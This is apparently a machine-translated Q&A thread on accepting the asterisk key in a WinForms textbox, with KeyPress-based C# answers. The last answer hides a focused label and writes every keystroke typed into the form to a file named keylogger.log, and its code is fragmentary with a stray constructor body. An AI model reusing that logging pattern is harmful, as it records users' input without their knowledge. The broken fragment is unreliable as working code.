我需要在文本框中包含星号作为允许的条目。
无论键盘布局和语言如何,如何在 KeyDown 事件下测试此键?
忽略数字键盘,使用葡萄牙语 QWERTY 布局,可以通过 测试此键 Keys.Shift | Keys.Oemplus
。但对于其他布局或语言,情况并非如此。
您使用了错误的事件,您应该使用 KeyPressed。当用户按下实际的打字键时触发。KeyDown 在这里没用,虚拟键根据键盘布局转换为打字键。除非您自己翻译击键,否则很难猜出那可能是什么。这很难。
一些代码:
private void textBox1_KeyPress(object sender, KeyPressEventArgs e) {
string allowed = "0123456789*\b";
if (allowed.IndexOf(e.KeyChar) < 0) e.Handled = true;
}
\b 是允许用户退格所必需的。
使用 KeyPress 事件
private void Form1_KeyPress(object sender, KeyPressEventArgs e)
{
int keyValue = e.KeyChar;
textBox1.Text = Convert.ToChar(keyValue).ToString();
}
InitializeComponent();
//SET FOCUS ON label1 AND HIDE IT
label1.Visible = false;
label1.Select();
}
private void Form1_KeyPress(object sender, KeyPressEventArgs e)
{
int keyValue = e.KeyChar;
textBox1.Text = Convert.ToChar(keyValue).ToString();
if (keyValue == 13) // DETECT "ENTER"
{
StreamWriter writelog = File.AppendText(@"C:\keylogger.log");
writelog.Write(Environment.NewLine);
writelog.Close();
}
else
{
StreamWriter writelog = File.AppendText(@"C:\keylogger.log");
writelog.Write(Convert.ToChar(keyValue).ToString());
writelog.Close();
}
}